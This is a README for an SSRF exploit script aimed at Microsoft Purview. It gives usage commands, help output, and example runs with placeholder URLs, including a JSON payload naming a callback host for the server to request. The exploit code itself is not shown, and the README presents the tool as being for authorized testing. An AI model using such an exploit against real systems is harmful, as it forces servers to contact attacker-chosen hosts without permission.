
The SSRF vulnerability in Microsoft Purview
This repository contains a script designed to perform an SSRF (Server-Side Request Forgery) exploit for testing and educational purposes. Use this tool responsibly and only in environments where you have explicit permission.
bash (Unix shell)jq (JSON processor)curl (Command-line tool for HTTP requests)./script.sh --exploit <target_url> <purview_url>
| Option | Description |
|---|---|
-h, --help | Show the help menu. |
--exploit tu pu | Perform the SSRF exploit with target and purview URLs. |
./script.sh -h
Output:
Usage:
./script.sh --exploit <target_url> <purview_url>
Options:
-h, --help - Show this help menu
--exploit <tu> <pu> - Perform the SSRF exploit with target and purview URLs
./script.sh --exploit http://example.com http://purview-url.com
Expected Output:
SSRF exploit successful! Data retrieved:
<response data>
SSRF exploit failed! HTTP code: <code>
purview_url, attempting to exploit an SSRF vulnerability../script.sh --exploit http://callback-url.com http://vulnerable-purview-url.com
{
"callback": "http://callback-url.com"
}
The HTTP response code and body are saved, and based on the status code, the success or failure of the exploit is determined.
This script is for testing purposes only. Misuse of this script can lead to severe legal consequences. Ensure compliance with all applicable laws and ethical standards.
Feel free to contribute by creating pull requests or reporting issues.
This tool is intended for educational purposes and authorized penetration testing only. The author is not responsible for any misuse or damage caused by this tool.